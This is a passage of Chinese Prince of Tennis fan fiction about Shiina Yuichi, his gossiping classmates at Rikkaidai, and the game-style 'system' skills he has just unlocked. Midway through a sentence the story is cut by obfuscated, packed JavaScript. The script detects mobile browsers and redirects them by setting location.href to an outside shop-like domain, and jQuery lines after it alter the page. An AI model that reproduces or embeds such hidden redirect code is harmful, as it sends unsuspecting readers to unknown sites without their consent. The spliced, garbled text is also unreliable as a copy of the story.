新生入学的那一天，《立海日报》格外精彩，网球部的消息更是独占了大半个版面。
—
《立海大或迎新皇，持续宫斗还是和平过渡？》
《国一新生冷傲退副部，能和我比赛是你的荣幸！》
《三浦明纪豪言：给我一个幸村精市，我还立海大全国冠军！》
……
《立海日报》是学生们聚在一起八卦的产物，产能低，印量少，但需求大，一张报纸往往要经过数次易手。
等报纸传阅到一年级时，它的边页翘起，几乎快被翻烂了。
新同桌叫丸井文太，头发红红的，颜色很是鲜艳。
他伸出食指戳戳标题，又戳戳椎名悠一的手臂，嘴里嚼着软糖含糊不清道：“你还没和我讲那天发生的事呢！”
被戳手臂的椎名鼓起脸，别开眼睛，顺其自然地拿书本挡住了报纸的头版照片，恰是他手持球拍在招新场地睥睨众人的场景，往下看则是他打完比赛体力值归零，乍看之下像被两个人同时搀扶着的场景。
太羞耻了。
椎名悠一惆怅望天，思绪飘到那个被系统迫害的报道日。
装死的系统，倒霉的他。
拼尽全力无法战胜的对手，态度大转弯的副部长，以及不知道是哪位高人想出来的选项提示。
他推了推书本，把照片挡得更严实些，苦笑着从牙缝中挤出一句“他们乱写的”。
新同桌不依不饶，干脆俯下身来，把胳膊搭在叠起来的书本上，又把下巴搭在胳膊上，露出一口白牙：“你就告诉我吧。”
椎名悠一熟练伸手，从桌洞掏出一包饼干，撕开包装：“吃不吃。”
同桌闭嘴了，后桌又来了。
椎名悠一眼疾手快，一块饼干堵住后桌刚刚张开的嘴：“别客气，仁王同学你也吃。”
敏捷属性就是这么用的。
休想在他面前套出话来。
好在作为万恶之源的Debuff已经过期了，不然围观群众又要以为这是什么大型挑衅现场。
但事实上，周围的同学早就见怪不怪了。
刚上学的第一天，大家都以为椎名悠一走的是冷面少男路线，加上他那头扎的很随意的长发，特别像放学后穿着特攻服炸街的暴走族，平等地看不惯每一个人，同学一巴掌，老师两巴掌，胆敢挑衅他的人更是降龙十八掌。
但他只是安安静静上课，勤勤恳恳参加部活，最大的爱好甚至是凭空发呆。
大家偷偷观察了两天后，本就诡异的状况变得更加吊诡。
椎名悠一身上那股令人不爽的气质莫名消失，变成了一个看上去很命苦的忧郁男子，会迎着四月的樱花感叹“去日苦多”，会迎着黄昏的残阳歌咏小林一茶的俳句的类型。
带头发起讨论的野崎千叶有言：“他和我认识的国中生都不一样，他给我一种很疏离感，很孤独的感觉，若即若离……感觉他的内心深处一直只有他一个人，他在伪装自己……”*
但在面对前后左右的同学，尤其是在面对丸井文太的时候，椎名悠一活脱脱就是一个人形自动喂食机。
每天定时定点刷新投喂剧情，装满零食的桌洞堪比哆啦A梦的口袋。
野崎千叶在笔记本中记下了关键词，放
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016551|194204||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
学后将其分享给了为漫画创作而苦恼的高中生哥哥野崎梅太郎。
最后，她一锤定音，得出结论：椎名同学大概是把睡前读物从东野圭吾的《恶意》换成了太宰治的《人间失格》。
每个日本国中生不都要经历这么一段成长的阵痛期吗？
椎名同学那副外貌确实很适合出演忧郁美少年的角色。
处于议论中心的主人公则对外界的变动毫不知情。
如果他知道这些讨论，他只会绝望地扯开嘴角：“谢邀，非忧郁，纯命苦。”
椎名悠一和幸村精市打完那场比赛后，系统内被锁定的功能基本上全部开放了，有点像大多数游戏里玩家只有达到一定等级，才能解锁所有模块的设定。
收集图鉴亮了，人物资料有了，系统商城也上新了一大批道具和技能。
除了听上去很正常的「外旋发球」「抽击球B」之外，还有听上去很唯美的「白鲸回击」，听上去很中二的「迈向破灭的圆舞曲」「绝对零度的世界」，以及被金灿灿的光圈所包围着的「时间暂停」。
嗯？暂停什么？他打开的不是运动模拟游戏吗？球类运动居然有如此之大的威力吗？
但这个技能只作为展示使用，没有标价，无法购买，也没有进一步的说明。
不知为何，椎名悠一松了一口气，但这口气很快又被提到了嗓子眼。
打网球原来也需要特效吗。
「没有特效的网球将是毫无威慑力的网球。」
「花费500成就点可定制玩家的专属特效。」
只有5点成就值的椎名悠一决心打普通的网球。